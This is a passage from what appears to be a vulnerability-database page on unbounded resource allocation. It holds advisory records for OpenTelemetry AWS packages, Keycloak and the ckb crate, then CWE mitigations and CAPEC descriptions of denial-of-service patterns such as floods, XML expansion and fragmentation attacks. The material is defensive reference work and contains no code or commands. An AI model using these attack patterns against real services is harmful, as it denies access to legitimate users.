attacker can destabilize or crash the application by forcing unbounded memory allocation through the X-Ray sampling and/or EC2/ECS/EKS HTTP response paths.\n\n### Mitigating Factors\n\n- The default X-Ray sampling endpoint is `http://localhost:2000`, which limits remote exposure in default configurations.\n- Risk increases materially when operators configure the sampler to point at a remote or untrusted endpoint.\n\n### Patches\n\nFixed in `OpenTelemetry.Sampler.AWS` version `0.1.0-alpha.8` and `OpenTelemetry.Resources.AWS` version `1.15.1`.\n\nThe fixes (#4100, #4122) introduce changes that introduce limits to `HttpClient` requests so that the response body is streamed rather than buffered entirely in memory.\n\n### Workarounds\n\n- Ensure the X-Ray sampling endpoint (`http://localhost:2000` by default) is not accessible to untrusted parties.\n- Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the sampling endpoint and/or EC2/ECS/EKS connection.\n- If using a remote endpoint, place it behind a reverse proxy that enforces a response body size limit.",
"id": "GHSA-28xm-prxc-5866",
"modified": "2026-04-23T21:44:31Z",
"published": "2026-04-23T21:44:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-28xm-prxc-5866"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41173"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4100"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4122"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry.Sampler.AWS \u0026 OpenTelemetry.Resources.AWS have unbounded HTTP response body reads"
}
GHSA-2935-2WFM-HHPV
Vulnerability from github – Published: 2025-03-25 09:32 – Updated: 2025-04-30 03:30A flaw was found in Keycloak. When the configuration uses JWT tokens for authentication, the tokens are cached until expiration. If a client uses JWT tokens with an excessively long expiration time, for example, 24 or 48 hours, the cache can grow indefinitely, leading to an OutOfMemoryError. This issue could result in a denial of service condition, preventing legitimate users from accessing the system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-2559"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-25T16:50:25Z",
"nvd_published_at": "2025-03-25T09:15:17Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Keycloak. When the configuration uses JWT tokens for authentication, the tokens are cached until expiration. If a client uses JWT tokens with an excessively long expiration time, for example, 24 or 48 hours, the cache can grow indefinitely, leading to an OutOfMemoryError. This issue could result in a denial of service condition, preventing legitimate users from accessing the system.",
"id": "GHSA-2935-2wfm-hhpv",
"modified": "2025-04-30T03:30:31Z",
"published": "2025-03-25T09:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4335"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4336"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-2559"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2353868"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Keycloak Denial of Service (DoS) Vulnerability via JWT Token Cache"
}
GHSA-2969-8HH9-57JC
Vulnerability from github – Published: 2022-01-06 22:09 – Updated: 2022-01-07 17:53An issue was discovered in the ckb crate before 0.40.0 for Rust. Remote attackers may be able to conduct a 51% attack against the Nervos CKB blockchain by triggering an inability to allocate memory for the misbehavior HashMap.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ckb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.40.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-45699"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-05T23:46:28Z",
"nvd_published_at": "2021-12-27T00:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the ckb crate before 0.40.0 for Rust. Remote attackers may be able to conduct a 51% attack against the Nervos CKB blockchain by triggering an inability to allocate memory for the misbehavior HashMap.",
"id": "GHSA-2969-8hh9-57jc",
"modified": "2022-01-07T17:53:54Z",
"published": "2022-01-06T22:09:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nervosnetwork/ckb/security/advisories/GHSA-48vq-8jqv-gm6f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45699"
},
{
"type": "PACKAGE",
"url": "https://github.com/nervosnetwork/ckb"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/ckb/RUSTSEC-2021-0108.md"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0108.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling in ckb"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.